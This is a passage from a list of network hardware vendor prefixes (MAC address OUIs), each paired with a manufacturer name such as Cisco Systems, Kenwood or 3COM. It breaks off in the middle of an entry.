000D1C Amesys Defense 000D0A Projectiondesign as 000D09 Yuehua(Zhuhai) Electronic CO. LTD 000D10 Embedtronics Oy 000D04 Foxboro Eckardt Development GmbH 000CFD Hyundai ImageQuest Co.,Ltd. 000D4F Kenwood Corporation 000D46 Parker SSD Drives 000D42 Newbest Development Limited 000D3C i.Tech Dynamic Ltd 000D36 Wu Han Routon Electronic Co., Ltd 000D3B Microelectronics Technology Inc. 000D2A Scanmatic AS 000D2F AIN Comm.Tech.Co., LTD 000DFA Micro Control Systems Ltd. 000DF4 Watertek Co. 000DF9 NDS Limited 000E00 Atrie 000DE7 Snap-on OEM Group 000DE8 Nasaco Electronics Pte. Ltd 000DED Cisco Systems, Inc 000DE1 Control Products, Inc. 000DD5 O'RITE TECHNOLOGY CO.,LTD 000DDA ALLIED TELESIS K.K. 000E20 ACCESS Systems Americas, Inc. 000E27 Crere Networks, Inc. 000E14 Visionary Solutions, Inc. 000E1B IAV GmbH 000E57 Iworld Networking, Inc. 000E50 Thomson Telecom Belgium 000E4A Changchun Huayu WEBPAD Co.,LTD 000E49 Forsway Scandinavia AB 000E3D Televic N.V. 000E44 Digital 5, Inc. 000E33 Shuko Electronics Co.,Ltd 000E3A Cirrus Logic 000E2D Hyundai Digital Technology Co.,Ltd. 000CEA aphona Kommunikationssysteme 000CD9 Itcare Co., Ltd 000CD3 Prettl Elektronik Radeberg GmbH 000CDA FreeHand Systems, Inc. 000CDF PULNiX America, Inc 000CC7 Intelligent Computer Solutions Inc. 000CCC Aeroscout Ltd. 000C13 MediaQ 000C05 RPA Reserch Co., Ltd. 000C0C APPRO TECHNOLOGY INC. 000BF4 Private 000BF9 Gemstone Communications, Inc. 000C00 BEB Industrie-Elektronik AG 000BF3 BAE SYSTEMS 000C63 Zenith Electronics Corporation 000C68 SigmaTel, Inc. 000C6F Amtek system co.,LTD. 000C55 Microlink Communications Inc. 000C5C GTN Systems B.V. 000C61 AC Tech corporation DBA Advanced Digital 000CBA Jamex, Inc. 000CB9 LEA 000CC0 Genera Oy 000CB4 AutoCell Laboratories, Inc. 000C34 Vixen Co., Ltd. 000CA2 Harmonic Video Network 000CA7 Metro (Suzhou) Technologies Co., Ltd. 000CA9 Ebtron Inc. 000CAE Ailocom Oy 000C44 Automated Interfaces, Inc. 000C39 Sentinel Wireless Inc. 000C3B Orion Electric Co., Ltd. 000C40 Altech Controls 000C3A Oxance 000C2F SeorimTechnology Co.,Ltd. 000C31 Cisco Systems, Inc 000C2A OCTTEL Communication Co., Ltd. 000C27 Sammy Corporation 000C18 Zenisu Keisoku Inc. 000C20 Fi WIn, Inc. 000BED ELM Inc. 000BF2 Chih-Kan Technology Co., Ltd. 000BE1 Nokia NET Product Operations 000BE6 Datel Electronics 000BDA EyeCross Co.,Inc. 000BD1 Aeronix, Inc. 000BC5 SMC Networks, Inc. 000BCC JUSAN, S.A. 000BB9 Imsys AB 000BBE Cisco Systems, Inc 000BB2 SMALLBIG TECHNOLOGY 000BB7 Micro Systems Co.,Ltd. 000C96 OQO, Inc. 000C9B EE Solutions, Inc 000C8A Bose Corporation 000C8F Nergal s.r.l. 000C83 Logical Solutions 000C88 Apache Micro Peripherals, Inc. 000C74 RIVERTEC CORPORATION 000C76 MICRO-STAR INTERNATIONAL CO., LTD. 000C7B ALPHA PROJECT Co.,Ltd. 000B85 Cisco Systems, Inc 000B7F Align Engineering LLC 000B84 BODET 000B73 Kodeos Communications 000B78 TAIFATECH INC. 000B6C Sychip Inc. 000B60 Cisco Systems, Inc 000B65 Sy.A.C. srl 000B57 Silicon Laboratories 000B5C Newtech Co.,Ltd 000B43 Microscan Systems, Inc. 000B48 sofrel 000B4A Visimetrics (UK) Ltd 000B35 Quad Bit System co., Ltd. 000B37 MANUFACTURE DES MONTRES ROLEX SA 000B3C Cygnal Integrated Products, Inc. 000B29 LS(LG) Industrial Systems co.,Ltd 000B30 Beijing Gongye Science & Technology Co.,Ltd 000BA8 HANBACK ELECTRONICS CO., LTD. 000B92 Ascom Danmark A/S 000B97 Matsushita Electric Industrial Co.,Ltd. 000B9C TriBeam Technologies, Inc. 000B8B KERAJET, S.A. 0009D6 KNC One GmbH 0009D5 Signal Communication, Inc. 0009DC Galaxis Technology AG 0009C9 BlueWINC Co., Ltd. 0009D0 Solacom Technologies Inc. 0009C1 PROCES-DATA A/S 0009C4 Medicore Co., Ltd 00098F Cetacean Networks 00097D SecWell Networks Oy 00097E IMI TECHNOLOGY CO., LTD 000983 GlobalTop Technology, Inc. 000970 Vibration Research Corporation 000977 Brunner Elektronik AG 000964 Hi-Techniques, Inc. 00096B IBM Corp 000957 Supercaller, Inc. 00095C Philips Medical Systems - Cardiac and Monitoring Systems (CM 000AE3 YANG MEI TECHNOLOGY CO., LTD 000AEA ADAM ELEKTRONIK LTD. ŞTI 000ADE Happy Communication Co., Ltd. 000AD7 Origin ELECTRIC CO.,LTD. 000ACB XPAK MSA Group 000AD0 Niigata Develoment Center,F.I.T. Co., Ltd. 000AD2 JEPICO Corporation 000ABD Rupprecht & Patashnick Co. 000ABF HIROTA SS 000AC4 Daewoo Teletech Co., Ltd 000AAC TerraTec Electronic GmbH 000AB1 GENETEC Corporation 000AB8 Cisco Systems, Inc 000AA5 MAXLINK INDUSTRIES LIMITED 000A8D EUROTHERM LIMITED 000A9E BroadWeb Corportation 000AA0 Cedar Point Communications 000A98 M+F Gwinner GmbH & Co 000A92 Presonus Corporation 000A7E The Advantage Group 000A85 PLAT'C2,Inc 000A8A Cisco Systems, Inc 0009B5 3J Tech. Co., Ltd. 0009AF e-generis 0009B0 Onkyo Corporation 0009A9 Ikanos Communications 00099D Haliplex Communications 0009A2 Interface Co., Ltd. 000990 ACKSYS Communications & systems 000996 RDI 00098A EqualLogic Inc 000A77 Bluewire Technologies LLC 000A79 corega K.K 000A72 STEC, INC. 000A5F almedio inc. 000A66 MITSUBISHI ELECTRIC SYSTEM & SERVICE CO.,LTD. 000A6B Tadiran Telecom Business Systems LTD 000A5A GreenNET Technologies Co.,Ltd. 000A53 Intronics, Incorporated 000A58 Freyer & Siegel Elektronik GmbH & Co. KG 000A4C Molecular Devices Corporation 000B24 AirLogic 000B1D LayerZero Power Systems, Inc. 000B16 Communication Machinery Corporation 000B18 Private 000B11 HIMEJI ABC TRADING CO.,LTD. 000B0A dBm Optics 000B05 Pacific Broadband Networks 000AFE NovaPal Ltd 000B03 Taekwang Industrial Co., Ltd 000AEF OTRUM ASA 000AF2 NeoAxiom Corp. 000A05 Widax Corp. 000A0A SUNIX Co., Ltd. 000A0F Ilryung Telesys, Inc 0009FF X.net 2000 GmbH 0009FE Daisy Technologies, Inc. 000A00 Mediatek Corp. 0009F6 Shenzhen Eastern Digital Tech Ltd. 0009F5 Emerson Network Power Co.,Ltd 0009E8 Cisco Systems, Inc 0009EF Vocera Communications 0009E3 Angel Iglesias S.A. 000A39 LoPA Information Technology 000A40 Crown Audio -- Harmanm International 000A45 Audio-Technica Corp. 000A47 Allied Vision Technologies 000A34 Identicard Systems Incorporated 000A2D Cabot Communications Limited 000A22 Amperion Inc 000A16 Lassen Research 000A1B Stream Labs 000878 Benchmark Storage Innovations 000872 Sorenson Communications 00087E Bon Electro-Telecom Inc. 00086B MIPSYS 000865 JASCOM CO., LTD 000866 DSX Access Systems, Inc. 00085F Picanol N.V. 000859 ShenZhen Unitone Electronics Co., Ltd. 000853 Schleicher GmbH & Co. Relaiswerke KG 000858 Novatechnology Inc. 00081D Ipsil, Incorporated 000829 Aval Nagasaki Corporation 000823 Texa Corp. 00082A Powerwallz Network Security 000817 EmergeCore Networks LLC 00091E Firstech Technology Corp. 000925 VSN Systemen BV 000918 SAMSUNG TECHWIN CO.,LTD 000917 WEM Technology Inc 000912 Cisco Systems, Inc 00090B MTLInstruments PLC 000905 iTEC Technologies Ltd. 0008FF Trilogy Communications Ltd 000906 Esteem Networks 0008FB SonoSite, Inc. 0008F2 C&S Technology 0008F7 Hitachi Ltd, Semiconductor & Integrated Circuits Gr 0008ED ST&T Instrument Corp. 0007D1 Spectrum Signal Processing Inc. 0007CE Cabletime Limited 0007C8 Brain21, Inc. 0007BC Identix Inc. 00047C Skidata AG 0007BB Candera Inc. 0007C2 Netsys Telecom 0007B5 Any One Wireless Ltd. 0007AF Red Lion Controls, LP 0007A2 Opteon Corporation 0007A7 A-Z Inc. 0007A1 VIASYS Healthcare GmbH 00094A Homenet Communications 000949 Glyph Technologies Inc. 000950 Independent Storage Corporation 000944 Cisco Systems, Inc 00093D Newisys,Inc. 000937 Inventec Appliance Corp 000931 Future Internet, Inc. 000938 Allot Communications 00092A MYTECS Co.,Ltd. 0008B1 ProQuent Systems 0008AB EnerLinx.com, Inc. 0008AC Eltromat GmbH 0008A5 Peninsula Systems Inc. 000899 Netbind, Inc. 00089E Beijing Enter-Net co.LTD 000895 DIRC Technologie GmbH & Co.KG 000891 Lyan Inc. 00088B Tropic Networks Inc. 00088A Minds@Work 000885 EMS Dr. Thomas Wünsche 0008E8 Excel Master Ltd. 0008E7 SHI ControlSystems,Ltd. 0008E1 Barix AG 0008DA SofaWare Technologies Ltd. 0008D5 Vanguard Networks Solutions, LLC 0008CE IPMobileNet Inc. 0008C8 Soneticom, Inc. 0008C4 Hikari Co.,Ltd. 0008BE XENPAK MSA Group 0008B8 E.F. Johnson 00079B Aurora Networks 00078F Emkay Innovative Products 000788 Clipcomm, Inc. 000779 Sungil Telecom Co., Ltd. 000778 GERSTEL GmbH & Co. KG 00076C Daehanet, Inc. 00075C Eastman Kodak Company 000768 Danfoss A/S 000762 Group Sense Limited 000755 Lafon 00074F Cisco Systems, Inc 000741 Sierra Automated Systems 000749 CENiX Inc. 000735 Flarion Technologies, Inc. 00073B Tenovis GmbH & Co KG 000729 Kistler Instrumente AG 00072E North Node AB 000728 Neo Telecom 000718 iCanTek Co., Ltd. 000806 Raonet Systems, Inc. 0007FD LANergy Ltd. 0007F6 Qqest Software Systems 0007FC Adept Systems Inc. 0007EA Massana, Inc. 0007F0 LogiSync LLC 0007E3 Navcom Technology, Inc. 0007E4 SoftRadio Co., Ltd. 0007DD Cradle Technologies 0007D7 Caporis Networks AG 0006E3 Quantitative Imaging Corporation 0006DD AT & T Laboratories - Cambridge Ltd 0006A4 INNOWELL Corp. 0006D3 Alpha Telecom, Inc. U.S.A. 0006D2 Tundra Semiconductor Corp. 000647 Etrali S.A. 0006D9 IPM-Net S.p.A. 0005EA Rednix 0006CD Leaf Imaging Ltd. 0006BC Macrolink, Inc. 0006C6 lesswire AG 000654 Winpresa Building Automation Technologies GmbH 0006B6 Nir-Or Israel Ltd. 0006B0 Comtech EF Data Corp. 00071F European Systems Integration 000724 Telemax Co., Ltd. 000707 Interalia Inc. 00070C SVA-Intrusion.com Co. Ltd. 000711 Acterna 000712 JAL Information Technology 0006FA IP SQUARE Co, Ltd. 0006EF Maxxan Systems, Inc. 0006EA ELZET80 Mikrocomputer GmbH&Co. KG 0006E9 Intime Corp. 0005EB Blue Ridge Networks, Inc. 0005E4 Red Lion Controls Inc. 0005F1 Vrcom, Inc. 0005FD PacketLight Networks Ltd. 0005E2 Creativ Network Technologies 0005DC Cisco Systems, Inc 0005E1 Trellis Photonics, Ltd. 0005D8 Arescom, Inc. 0005D7 Vista Imaging, Inc. 0005C5 Flaga HF 0005D1 Metavector Technologies 0005D2 DAP Technologies 0005CB ROIS Technologies, Inc. 00057F Acqis Technology 000579 Universal Control Solution Corp. 000575 CDS-Electronics BV 00056F Innomedia Technologies Pvt. Ltd. 000568 Piltofish Networks AB 000562 Digital View Limited 00055C Kowa Company, Ltd. 000556 360 Systems 000550 Vcomms Connect Limited 000545 Internet Photonics 00053F VisionTek, Inc. 000546 KDDI Network & Solultions Inc. 0006AA VT Miltope 0006A9 Universal Instruments Corp. 0006A0 Mx Imaging 00069F Kuokoa Networks 000699 Vida Design Co. 000693 Flexus Computer Technology, Inc. 00069A e & Tel 00068D SEPATON, Inc. 000687 Omnitron Systems Technology, Inc. 000680 Card Access, Inc. 000539 A Brand New World in Sweden AB 000526 IPAS GmbH 00052D Zoltrix International Limited 00052C Supreme Magic Corporation 000520 Smartronix, Inc. 00051A 3COM EUROPE LTD. 000510 Infinite Shanghai Communication Terminals Ltd. 000514 KDT Systems Co., Ltd. 000509 AVOC Nishimura Ltd. 000503 ICONAG 00050A ICS Spa 0004FF Acronet Co., Ltd. 000500 Cisco Systems, Inc 000641 ITCN 00063D Microwave Data Systems Inc. 000630 Adtranz Sweden 000637 Toptrend-Meta Information (ShenZhen) Inc. 000620 Serial System Ltd. 00061A Zetari Inc. 00060C Melco Industries, Inc. 000614 Prism Holdings 000606 RapidWAN, Inc. 000677 SICK AG 000673 TKH Security Solutions USA 000666 Roving Networks 00066D Compuprint S.P.A. 00066C Robinson Corporation 000653 Cisco Systems, Inc 00065A Strix Systems 00064D Sencore 000660 NADEX Co., Ltd. 0005B8 Electronic Design Associates, Inc. 0005BF JustEzy Technology, Inc. 0005AE Mediaport USA 0005B2 Medison Co., Ltd. 00059E Zinwell Corporation 0005A5 KOTT 000598 CRONOS S.r.l. 0005A4 Lucid Voice Ltd. 000592 Pultek Corp. 00058B IPmental, Inc. 00058C Opentech Inc. 00037E PORTech Communications, Inc. 000383 Metera Networks, Inc. 000377 Gigabit Wireless 00037B IDEC IZUMI Corporation 00036B Cisco Systems, Inc 000372 ULAN 000367 Jasmine Networks, Inc. 00036A Mainnet, Ltd. 000364 Scenix Semiconductor, Inc. 00035F Prüftechnik Condition Monitoring GmbH & Co. KG 00035C Saint Song Corp. 00034D Chiaro Networks, Ltd. 0003FA TiMetra Networks 0003F5 Chip2Chip 0003EE MKNet Corporation 0003E8 Wavelength Digital Limited 0003E3 Cisco Systems, Inc 0003DC Lexar Media, Inc. 0003D7 NextNet Wireless, Inc. 0003D4 Alloptic, Inc. 00030B Hunter Technology, Inc. 0003D0 KOANKEISO Co., Ltd. 0003C9 TECOM Co., Ltd. 0003C4 Tomra Systems ASA 0004FA NBS Technologies Inc. 0004F9 Xtera Communications, Inc. 0004F3 FS FORTH-SYSTEME GmbH 0004E7 Lightpointe Communications, Inc 0004ED Billion Electric Co., Ltd. 0004DD Cisco Systems, Inc 0004D6 Takagi Industrial Co., Ltd. 0004D0 Softlink s.r.o. 0004CA FreeMs Corp. 0004BE OptXCon, Inc. 0004C3 CASTOR Informatique 0004C4 Allen & Heath Limited 0004B7 AMB i.t. Holding 0004B1 Signal Technology, Inc. 0004AD Malibu Networks 0004AA Jetstream Communications 00049D Ipanema Technologies 000497 MacroSystem Digital Video AG 000490 Optical Access 00048B Poscon Corporation 000341 Axon Digital Design 00033E Tateyama System Laboratory Co., Ltd. 00033A Silicon Wave, Inc. 000333 Digitel Co., Ltd. 00032B GAI Datenfunksysteme GmbH 000327 ACT'L 00032E Scope Information Management, Ltd. 000322 IDIS Co., Ltd. 00031E Optranet, Inc. 00B052 Atheros Communications 000319 Infineon AG 000316 Nobell Communications, Inc. 000312 TR-Systemtechnik GmbH 000447 Acrowave Systems Co., Ltd. 00043B Lava Computer Mfg., Inc. 000440 cyberPIXIE, Inc. 00043A Intelligent Telecommunications, Inc. 000434 Accelent Systems, Inc. 00042D Sarian Systems, Ltd. 00042E Netous Technologies, Ltd. 000428 Cisco Systems, Inc 000421 Ocular Networks 000417 ELAU AG 000411 Inkra Networks, Inc. 00040B 3COM EUROPE LTD. 000404 Makino Milling Machine Co., Ltd. 000481 Econolite Control Products, Inc. 000486 ITTC, University of Kansas 000477 Scalant Systems, Inc. 000476 3 Com Corporation 000469 Innocom, Inc. 000470 ipUnplugged AB 00046A Navini Networks 000464 Pulse-Link Inc 00045D BEKA Elektronik 000457 Universal Access Technology, Inc. 000451 Medrad, Inc. 0003C1 Packet Dynamics Ltd 0003BD OmniCluster Technologies, Inc. 0003B8 NetKit Solutions, LLC 0003B6 QSI Corporation 0003A6 Traxit Technology, Inc. 0003AB Bridge Information Systems 0003A3 MAVIX, Ltd. 00039F Cisco Systems, Inc 00039A SiConnect 00038C Total Impact 000384 AETA 000387 Blaze Network Products 000306 Fusion In Tech Co., Ltd. 000303 JAMA Electronics Co., Ltd. 0002FF Handan BroadInfoCom 0002F3 Media Serve Co., Ltd. 0002FA DX Antenna Co., Ltd. 0002ED DXO Telecom Co., Ltd. 0002E5 Timeware Ltd. 0002E8 E.D.&A. 0002DC Fujitsu General Limited 0002E1 Integrated Network Corporation 0002D5 ACR 0002CE FoxJet, Inc. 00B0DB Nextcell, Inc. 00B08E Cisco Systems, Inc 00B01C Westport Technologies 00B02D ViaGate Technologies, Inc. 00B03B HiQ Networks 0030A9 Netiverse, Inc. 00B0F0 CALY NETWORKS 00B086 LocSoft Limited 0030C4 Canon Imaging Systems Inc. 00309D Nimble Microsystems, Inc. 003037 Packard Bell Nec Services 00302E Hoft & Wessel AG 00301B SHUTTLE, INC. 003028 FASE Saldatura srl 0030FB AZS Technology AG 0001DA WINCOMM Corporation 0001DD Avail Networks 0001CE Custom Micro Products, Ltd. 0001CA Geocast Network Systems, Inc. 0001B8 Netsensity, Inc. 0001BD Peterson Electro-Musical Products, Inc. 0001B4 Wayport, Inc. 0001C3 Acromag, Inc. 0001BF Teleforce Co., Ltd. 0001AD Coach Master Internationald.b.a. CMI Worldwide, Inc. 00017E ADTEK System Science Co., Ltd. 00018A ROI COMPUTER AG 000119 RTUnet (Australia) 000125 YAESU MUSEN CO., LTD. 000121 Watchguard Technologies, Inc. 000128 EnjoyWeb, Inc. 000106 Tews Datentechnik GmbH 000112 Shark Multimedia Inc. 000102 3COM CORPORATION 000115 EXTRATECH CORPORATION 000109 Nagano Japan Radio Co., Ltd. 081443 UNIBRAIN S.A. 00B0F5 NetWorth Technologies, Inc. 00B019 UTC CCS 00B02A ORSYS GmbH 00B0AE Symmetricom 000181 Nortel Networks 00018D AudeSi Technologies 00019A LEUNIG GmbH 000193 Hanbyul Telecom Co., Ltd. 0001A2 Logical Co., Ltd. 000196 Cisco Systems, Inc 0001A6 Scientific-Atlanta Arcodan A/S 000172 TechnoLand Co., LTD. 00303F TurboComm Tech Inc. 003073 International Microsystems, In 00014D Shin Kin Enterprises Co., Ltd 00016B LightChip, Inc. 000167 HIOKI E.E. CORPORATION 000215 Cotas Computer Technology A/B 000211 Nature Worldwide Technology Corp. 000209 Shenzhen SED Information Technology Co., Ltd. 000205 Hitachi Denshi, Ltd. 000202 Amino Communications, Ltd. 0001F6 Association of Musical Electronics Industry 0001ED SETA Corp. 0001E9 Litton Marine Systems B.V. 0002C6 Data Track Technology PLC 0002C2 Net Vision Telecom 0002B9 Cisco Systems, Inc 0002B4 DAPHNE 0002AD HOYA Corporation 0002A6 Effinet Systems Co., Ltd. 0002A1 World Wide Packets 00029B Kreatel Communications AB 00029E Information Equipment Co., Ltd. 000296 Lectron Co,. Ltd. 00028F Globetek, Inc. 000289 DNE Technologies 000285 Riverstone Networks 00027E Cisco Systems, Inc 000280 Mu Net, Inc. 000279 Control Applications, Ltd. 000272 CC&C Technologies, Inc. 00026B BCM Computers Co., Ltd. 00026D Adept Telecom 000262 Soyo Group Soyo Com Tech Co., Ltd 000260 Accordion Networks, Inc. 00025B Cambridge Silicon Radio 000087 HITACHI, LTD. 000252 Carrier Corporation 00024B Cisco Systems, Inc 000246 All-Win Tech Co., Ltd. 00017A Chengdu Maipu Electric Industrial Co., Ltd. 000235 Paragon Networks International 000238 Serome Technology, Inc. 000230 Intersoft Electronics 000229 Adtec Corporation 000225 One Stop Systems 00021C Network Elements, Inc. 000221 DSP Application, Ltd. 00016E Conklin Corporation 00015B ITALTEL S.p.A/RF-UP-I 000154 G3M Corporation 000150 GILAT COMMUNICATIONS, LTD. 00012E PC Partner Ltd. 00013A SHELCAD COMMUNICATIONS, LTD. 000141 CABLE PRINT 000131 Bosch Security Systems, Inc. 00013D RiscStation Ltd. 00D047 XN TECHNOLOGIES 00D018 QWES. COM, INC. 00D048 ECTON, INC. 00D028 Harmonic, Inc 00D02F VLSI TECHNOLOGY INC. 00D025 XROSSTECH, INC. 00D085 OTIS ELEVATOR COMPANY 00D077 LUCENT TECHNOLOGIES 00D093 TQ - COMPONENTS GMBH 00D013 PRIMEX AEROSPACE COMPANY 00D056 SOMAT CORPORATION 00D017 SYNTECH INFORMATION CO., LTD. 00D036 TECHNOLOGY ATLANTA CORP. 00D0D6 AETHRA TELECOMUNICAZIONI 003078 Cisco Systems, Inc 003003 Phasys Ltd. 0030D5 DResearch GmbH 0030CE Zaffire 003095 Procomp Informatics, Ltd. 003055 Renesas Technology America, Inc. 0030B0 Convergenet Technologies 0030CC Tenor Networks, Inc. 003013 NEC Corporation 003061 MobyTEL 00D0AB DELTAKABEL TELECOM CV 00D0A8 NETWORK ENGINES, INC. 00D01C SBS TECHNOLOGIES, 00D0C0 Cisco Systems, Inc 00D051 O2 MICRO, INC. 00D06D ACRISON, INC. 0050A1 CARLO GAVAZZI, INC. 00D06C SHAREWAVE, INC. 00D03A ZONEWORX, INC. 0050C1 GEMFLEX NETWORKS, LTD. 0050FB VSK ELECTRONICS 005033 MAYAN NETWORKS 0030A0 TYCO SUBMARINE SYSTEMS, LTD. 0030CB OMNI FLOW COMPUTERS, INC. 00306B CMOS SYSTEMS, INC. 003068 CYBERNETICS TECH. CO., LTD. 0030E3 SEDONA NETWORKS CORP. 00D007 MIC ASSOCIATES, INC. 00D07F STRATEGY & TECHNOLOGY, LIMITED 003085 Cisco Systems, Inc 003026 HeiTel Digital Video GmbH 0030A6 VIANET TECHNOLOGIES, LTD. 003047 NISSEI ELECTRIC CO., LTD. 00D0FC GRANITE MICROSYSTEMS 00D042 MAHLO GMBH & CO. UG 00D046 DOLBY LABORATORIES, INC. 00D0BA Cisco Systems, Inc 00D0BC Cisco Systems, Inc 00D0D8 3Com Corporation 00D06B SR TELECOM INC. 0030AA AXUS MICROSYSTEMS, INC. 003043 IDREAM TECHNOLOGIES, PTE. LTD. 003010 VISIONETICS INTERNATIONAL 003096 Cisco Systems, Inc 003084 ALLIED TELESYN INTERNAIONAL 0030CF TWO TECHNOLOGIES, INC. 00D0E3 ELE-CHEM ENGINEERING CO., LTD. 00D0ED XIOX 00D0C2 BALTHAZAR TECHNOLOGY AB 00D0FB TEK MICROSYSTEMS, INCORPORATED 00D082 IOWAVE INC. 00D0AD TL INDUSTRIES 00D0DB MCQUAY INTERNATIONAL 00D06A LINKUP SYSTEMS CORPORATION 00D065 TOKO ELECTRIC 00D08F ARDENT TECHNOLOGIES, INC. 00D0E7 VCON TELECOMMUNICATION LTD. 00D087 MICROFIRST INC. 00D008 MACTELL CORPORATION 003005 Fujitsu Siemens Computers 00304E BUSTEC PRODUCTION LTD. 0030E0 OXFORD SEMICONDUCTOR LTD. 0030A1 WEBGATE Inc. 00303D IVA CORPORATION 0030C3 FLUECKIGER ELEKTRONIK AG 009047 GIGA FAST E. LTD. 0090CB Wireless OnLine, Inc. 00903F AZTEC RADIOMEDIA 001043 A2 CORPORATION 00108D Johnson Controls, Inc. 00108E HUGH SYMONS CONCEPT Technologies Ltd. 001052 METTLER-TOLEDO (ALBSTADT) GMBH 00100E MICRO LINEAR COPORATION 0010D7 ARGOSY RESEARCH INC. 001059 DIABLO RESEARCH CO. LLC 0010B6 ENTRATA COMMUNICATIONS CORP. 001019 SIRONA DENTAL SYSTEMS GmbH & Co. KG 001013 Kontron America, Inc. 0090A4 ALTIGA NETWORKS 00906C Sartorius Hamburg GmbH 0090FC NETWORK COMPUTING DEVICES 0090A3 Corecess Inc. 009022 IVEX 0090A5 SPECTRA LOGIC 0090BA VALID NETWORKS, INC. 0090EE PERSONAL COMMUNICATIONS TECHNOLOGIES 0090CD ENT-EMPRESA NACIONAL DE TELECOMMUNICACOES, S.A. 0090D0 Thomson Telecom Belgium 009075 NEC DO BRASIL S.A. 00902E NAMCO LIMITED 0090A0 8X8 INC. 00907C DIGITALCAST, INC. 0090DF MITSUBISHI CHEMICAL AMERICA, INC. 009023 ZILOG INC. 00908A BAYLY COMMUNICATIONS, INC. 009063 COHERENT COMMUNICATIONS SYSTEMS CORPORATION 009041 APPLIED DIGITAL ACCESS 0090D8 WHITECROSS SYSTEMS 009011 WAVTrace, Inc. 009040 Siemens Network Convergence LLC 0090C7 ICOM INC. 009035 ALPHA TELECOM, INC. 009087 ITIS 00906E PRAXON, INC. 009039 SHASTA NETWORKS 00909A ONE WORLD SYSTEMS, INC. 009053 DAEWOO ELECTRONICS CO., LTD. 00909E Critical IO, LLC 0090C2 JK microsystems, Inc. 009091 DigitalScape, Inc. 0090ED CENTRAL SYSTEM RESEARCH CO., LTD. 00901B DIGITAL CONTROLS 00905C EDMI 0090D2 ARTEL VIDEO SYSTEMS 00508C RSI SYSTEMS 00502D ACCEL, INC. 0050B8 INOVA COMPUTERS GMBH & CO. KG 00503A DATONG ELECTRONICS LTD. 00508E OPTIMATION, INC. 0050BB CMS TECHNOLOGIES 005051 IWATSU ELECTRIC CO., LTD. 0050BE FAST MULTIMEDIA AG 0050AD CommUnique Wireless Corp. 005003 Xrite Inc 005023 PG DESIGN ELECTRONICS, INC. 005039 MARINER NETWORKS 00505A NETWORK ALCHEMY, INC. 005071 AIWA CO., LTD. 009071 Applied Innovation Inc. 009031 MYSTICOM, LTD. 00901F ADTEC PRODUCTIONS, INC. 009081 ALOHA NETWORKS, INC. 0090B3 AGRANAT SYSTEMS 00500D SATORI ELECTORIC CO., LTD. 0050EC OLICOM A/S 005083 GILBARCO, INC. 0050CF VANLINK COMMUNICATION TECHNOLOGY RESEARCH INSTITUTE 005008 TIVA MICROCOMPUTER CORP. (TMC) 005001 YAMASHITA SYSTEMS CORP. 0050B0 TECHNOLOGY ATLANTA CORPORATION 00504E SIERRA MONITOR CORP. 00504D Tokyo Electron Device Limited 0050F7 VENTURE MANUFACTURING (SINGAPORE) LTD. 005029 1394 PRINTER WORKING GROUP 00E08D PRESSURE SYSTEMS, INC. 00E040 DeskStation Technology, Inc. 00E0D6 COMPUTER & COMMUNICATION RESEARCH LAB. 00E07E WALT DISNEY IMAGINEERING 00E094 OSAI SRL 00E032 MISYS FINANCIAL SYSTEMS, LTD. 00E06B W&G SPECIAL PRODUCTS 00E01C Cradlepoint, Inc 00E076 DEVELOPMENT CONCEPTS, INC. 00E0A7 IPC INFORMATION SYSTEMS, INC. 00E0A4 ESAOTE S.p.A. 00E080 CONTROL RESOURCES CORPORATION 00E0CC HERO SYSTEMS, LTD. 00E099 SAMSON AG 0010E9 RAIDTEC LTD. 001003 IMATRON, INC. 00105A 3COM CORPORATION 0010A9 ADHOC TECHNOLOGIES 000400 LEXMARK INTERNATIONAL, INC. 00101A PictureTel Corp. 001097 WinNet Metropolitan Communications Systems, Inc. 00106F TRENTON TECHNOLOGY INC. 0010DA Kollmorgen Corp 0010DF RISE COMPUTER INC. 00109E AWARE, INC. 001072 GVN TECHNOLOGIES, INC. 00E019 ING. GIORDANO ELETTRONICA 00E0D7 SUNSHINE ELECTRONICS, INC. 00E068 MERRIMAC SYSTEMS INC. 00E01D WebTV NETWORKS, INC. 00E01F AVIDIA Systems, Inc. 00E056 HOLONTECH CORPORATION 00E0C9 AutomatedLogic Corporation 00E030 MELITA INTERNATIONAL CORP. 00E0BA BERGHOF AUTOMATIONSTECHNIK GmbH 00E0B2 TELMAX COMMUNICATIONS CORP. 00E0EF DIONEX 00E0BD INTERFACE SYSTEMS, INC. 00E071 EPIS MICROCOMPUTER 00E0A6 TELOGY NETWORKS, INC. 00E026 Redlake MASD LLC 00E0B8 GATEWAY 2000 00E088 LTX-Credence CORPORATION 00E07C METTLER-TOLEDO, INC. 00E08C NEOPARADIGM LABS, INC. 00E061 EdgePoint Networks, Inc. 00E06E FAR SYSTEMS S.p.A. 00E01B SPHERE COMMUNICATIONS, INC. 00E0AE XAQTI CORPORATION 00E0C8 VIRTUAL ACCESS, LTD. 00101D WINBOND ELECTRONICS CORP. 00105F ZODIAC DATA SYSTEMS 0010CB FACIT K.K. 001075 Segate Technology LLC 001058 ArrowPoint Communications 0010A8 RELIANCE COMPUTER CORP. 0010AA MEDIA4, INC. 0010E8 TELOCITY, INCORPORATED 001010 INITIO CORPORATION 00E007 Avaya ECS Ltd 001022 SatCom Media Corporation 0010C7 DATA TRANSMISSION NETWORK 001098 STARNET TECHNOLOGIES, INC. 001096 TRACEWELL SYSTEMS, INC. 001082 JNA TELECOMMUNICATIONS LIMITED 001021 ENCANTO NETWORKS, INC. 0010CE VOLAMP, LTD. 0010B2 COACTIVE AESTHETICS 00109A NETLINE 0010EA ADEPT TECHNOLOGY 0010BD THE TELECOMMUNICATION TECHNOLOGY COMMITTEE (TTC) 006099 SBE, Inc. 0060FD NetICs, Inc. 0060B5 KEBA GmbH 006027 Superior Modular Products 0060C1 WaveSpan Corporation 006005 FEEDBACK DATA LTD. 00607B FORE SYSTEMS, INC. 00609C Perkin-Elmer Incorporated 006007 ACRES GAMING, INC. 006035 DALLAS SEMICONDUCTOR, INC. 0060F1 EXP COMPUTER, INC. 006040 NETRO CORP. 006034 ROBERT BOSCH GmbH 0060BA SAHARA NETWORKS, INC. 006096 T.S. MICROTECH INC. 00603A QUICK CONTROLS LTD. 0060AC RESILIENCE CORPORATION 0060EB FOURTHTRACK SYSTEMS 00606D DIGITAL EQUIPMENT CORP. 006014 EDEC CO., LTD. 0060E1 ORCKIT COMMUNICATIONS LTD. 006062 TELESYNC, INC. 006038 Nortel Networks 006095 ACCU-TIME SYSTEMS, INC. 00A016 MICROPOLIS CORP. 00A01C NASCENT NETWORKS CORPORATION 00A0FC IMAGE SCIENCES, INC. 00A0B7 CORDANT, INC. 00A037 Mindray DS USA, Inc. 00A04C INNOVATIVE SYSTEMS & TECHNOLOGIES, INC. 00A0E9 